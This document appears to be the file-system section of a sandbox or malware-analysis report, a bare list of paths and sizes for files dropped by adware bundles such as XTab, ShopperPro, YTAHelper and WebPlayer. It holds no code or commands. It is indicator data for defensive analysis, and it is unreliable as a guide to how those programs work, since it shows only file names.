C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checkbox_select.png (783 bytes)
%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\XTab_v4.0.exe (27389 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\XTab_4.0.2.1716[1].exe (203514 bytes)
C:\Windows\SysWOW64\789614.html (1 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\rebirth[1].htm (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E94FOTQ4.txt (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FSO1MKLS.txt (95 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JL53PWZJ.txt (95 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.sys (52 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (3422 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.min[2].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\13ca8e322e15bc394d66a37bec12e3b4[1].png (35510 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\23428f8768d928d2bd45dd3b0c4d0057[1].png (20161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\589b1e936e1f038dc45bd8ffff59b359[1].png (17075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\analytics[1].js (17192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\7fb9f4ca0fa96299334c18ee76c7b68b[1].jpg (4112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\07fce0a4ff78cc7e6376e227f046ce06[1].png (52470 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\a64a4b5c68c364d30083fbd0b0363585[1].png (28771 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JUE44OZP.txt (221 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7e5817bad781bbc2d2e43b350ccb53db[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ddb3b88cf98eb0220c9e6c252e376749[1].png (17314 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b85261679e262228a562f693b3e6ef6f[1].png (25760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\36d7cd00f07003a67021237993257d08[1].png (9833 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\d586df222f5069b6c396373d67d0163b[1].png (23699 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\567f43cb72fe3ac6419369953394cadd[1].png (55795 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\e94782c9200f8de809a50327879df1cc[1].png (20800 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee[1].png (24802 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (576 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[2].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (17395 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\0692c2494a7331a77c05954f79c5480a[1].png (8120 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery-ui.min[1].js (116492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7d4f668f3d1818d01b6b9684b669d0db[1].png (5680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (22794 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ace33f0a1eddf74bbe8d1bfac70deded[1].png (11550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4f263f4be4c4396c9078d1874c05b928[1].png (5568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AZTLRVHC.txt (89 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (28618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\gui_btn[1].png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\flvplayer[1].htm (1156 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\flv_02[1].jpg (8523 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.min[1].js (58135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\jwplayer[1].js (96000 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\bg_header[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn[1].png (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\Iulos.tmp (396481 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\18574.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\FacebookIsGod.dll (2555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\Lexdja.exe (5162969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk79F.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_e (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_d (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_c (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_b (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_a (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\setup.exe (1590209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\setup1.exe (143233 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F0.tmp (153711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj52F1.tmp\NK.lky (16 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf388E.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszD568.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu7733.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_postInst.exe (3063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_yta.exe (29930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\scripts\config.xml (824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\shortcut.ico (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\32x32[1].ico (892 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FLV Player\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\icons\tray.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FLV Player\Play online FLV files.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\scripts\default_config.json (940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\flvplayer[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (905 bytes)
C:\Users\"%CurrentUserName%"\Desktop\FLV Player.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\64x64[1].ico (5575 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu78F.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
